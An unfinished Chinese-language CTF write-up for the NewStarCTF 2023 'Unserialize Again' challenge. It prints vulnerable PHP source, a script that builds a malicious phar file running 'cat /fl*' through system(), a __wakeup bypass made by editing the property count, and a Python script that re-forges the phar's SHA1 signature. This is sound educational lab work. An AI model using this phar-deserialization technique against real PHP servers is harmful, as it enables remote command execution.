(未做完)Writeup_2023_NewStarCTF_Week5

NewStarCTF第五周,菜鸟的wp


Unserialize Again

week51

源码中存在提示:

week52

刷新页面去看cookie

week53

访问pairing.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
} //需要绕过__wakeup(),反序列化中__wakeup先于__destruct
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));//解码后写入$pear
file_exists($Adam);//检查文件是否存在
}
else{
echo '多吃雪梨';
}
//https://zhuanlan.zhihu.com/p/377676274

没有Unserialize的反序列化,还是Phar。可以通过__destruct执行命令,但存在__wakeup阻碍(可以通过修改属性数量绕过)。

参考:https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/#phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

主要就是需要修改phar文件的内容(属性数量)才能去绕过__wakeup。但注意phar这个东西是有签名的,我们在此基础上还要对文件签名进行修改。

先把wakeup放一边:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class story{
private $user;
public $pass;
public $eating;
public $God;
public function setUser($value) {
$this->user = $value;
}
}

$a=new story();
$a->setUser('admin');
$a->God=true;
$a->eating='cat /fl*';//看了wp,看天眼了直接cat /fl*。正常做肯定要一点点执行命令:ls ls /啥的
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

hex打开,修改类属性的个数为5(本来是4):

phar12

这里借用pankas师傅的一张图:

phar13

签名类型为sha1,伪造签名算法:

1
2
3
4
5
6
7
8
9
10
from hashlib import sha1
with open('hacker.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开

s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

(未做完)Writeup_2023_NewStarCTF_Week5
http://example.com/2023/11/28/week5-Writeup_2023_NewStarCTF_Week5/
作者
notbad3
发布于
2023年11月28日
许可协议